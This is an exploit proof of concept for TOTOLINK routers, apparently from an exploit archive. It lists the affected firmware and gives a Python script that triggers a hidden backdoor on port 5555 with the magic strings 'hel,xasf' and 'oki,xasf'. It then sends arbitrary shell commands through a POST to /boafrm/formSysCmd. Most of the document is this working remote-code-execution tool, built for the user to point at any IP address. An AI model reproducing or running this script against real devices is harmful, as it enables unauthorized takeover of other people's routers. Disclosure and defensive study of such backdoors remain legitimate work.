TOTOLINK Routers - Backdoor Remote Code Execution

# Exploit Title: TOTOLINK backdoor and RCE exploit POC
# Google Dork: N/A
# Date: Thu Aug 13 07:33:29 MDT 2015
# Exploit Author: MadMouse
# Vendor Homepage: http://www.totolink.net/
# Software Link:
http://www.totolink.net/include/download.asp?path=down/010100&file=TOTOLINK%20A850R-V1_1.0.1_20150725.zip
# Version: A850R-V1 : until last firwmware
TOTOLINK-A850R-V1.0.1-B20150707.1612.web, F1-V2 : until last firmware
F1-V2.1.1-B20150708.1646.web, F2-V1 : until last firmware
F2-V2.1.0-B20150320.1611.web, N150RT-V2 : until last firmware
TOTOLINK-N150RT-V2.1.1-B20150708.1548.web, N151RT-V2 : until last firmware
TOTOLINK-N151RT-V2.1.1-B20150708.1559.web, N300RH-V2 : until last firmware
TOTOLINK-N300RH-V2.0.1-B20150708.1625.web, N300RH-V3 : until last firmware
TOTOLINK-N300RH-V3.0.0-B20150331.0858.web, N300RT-V2 : until last firmware
TOTOLINK-N300RT-V2.1.1-B20150708.1613.web
# Tested on: A850R-V1
# CVE : N/A
# Credit: https://pierrekim.github.io/advisories/2015-totolink-0x02.txt



#!/usr/bin/env python
#
------------------------------------------------------------------------------
# THE SCOTCH-WARE LICENSE (Revision 43):
# <[email protected]> wrote this file. As long as you retain this notice
you
# can do whatever you want with this stuff. If we meet some day, and you
think
# this stuff is worth it, you can buy me a shot of scotch in return
#
------------------------------------------------------------------------------
import socket, sys

if len(sys.argv) < 2:
    print("Usage: %s <ip> <command string>...\x1b[0m" % sys.argv[0])
    exit(1)

commandstr = urllib.quote_plus(" ".join(sys.argv[2:]))

def check_activate_backdoor():
    try:
        vulnerable = "hel,xasf"     # this is both the check, and the
command to open the management interface to the internet
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((sys.argv[1], 5555))
        s.send(vulnerable)
        ret = True if s.recv(len(vulnerable)) == vulnerable else False
        s.close()
    except:
        print("\x1b[031mThis just happened: \x1b[037m%s\x1b[0m" %
sys.exc_info()[0])
        exit(2)
    return ret

def close_backdoor():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((sys.argv[1], 5555))
        s.send("oki,xasf")
        s.close()
    except:
        print("\x1b[031mThis just happened: \x1b[037m%s\x1b[0m" %
sys.exc_info()[0])
        exit(2)
    return

if check_activate_backdoor():
    print("\x1b[032mThis device appears to be vulnerable\nbackdoor
activated\x1b[0m")
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((sys.argv[1], 80))
        s.send("POST /boafrm/formSysCmd
HTTP/1.1\r\n\r\nsysCmd=%s&apply=Apply&msg=\r\n\r\n" % commandstr)

        print("\x1b[032mCommands sent\x1b[0m")
        print("\x1b[032mResponse: \n%s\x1b[0m" % s.recv(512))
        s.close()
    except:
        print("\x1b[031mThis just happened: \x1b[037m%s\x1b[0m" %
sys.exc_info()[0])
        exit(2)
    close_backdoor()
    exit(0)
else:
    print("\x1b[032mThis device isn't vulnerable lol\x1b[0m")
    exit(1)